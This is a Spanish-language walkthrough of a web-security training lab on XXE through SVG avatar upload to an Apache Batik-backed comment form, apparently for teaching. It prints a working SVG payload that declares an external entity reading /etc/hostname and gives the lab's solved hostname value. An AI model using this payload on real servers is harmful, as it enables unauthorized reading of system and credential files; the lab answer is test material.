
Descripción
This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
To solve the lab, upload an image that displays the contents of the /etc/hostname
file after processing. Then use the «Submit solution» button to submit the value of the server hostname.
Exploiting XXE via image file upload writeup
Lo primero que tenemos que saber antes de comenzar este laboratorio es que un archivo svg es un archivo XML. Un ejemplo de un archivo svg es el siguiente:
<svg height="100" width="100" xmlns="http://www.w3.org/2000/svg">
<circle r="45" cx="50" cy="50" fill="red" />
Sorry, your browser does not support inline SVG.
</svg>
Ahora, exploraremos el laboratorio y veremos que en los posts, permite poner un comentario y añadir una imagen de avatar. Crearemos el siguiente archivo .svg para subirlo:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Al cargar la imagen subida veremos lo siguiente:

Iremos ahora a ‘Submit solution’ e introduciremos ‘309e8eed7d54’, completando así el laboratorio:
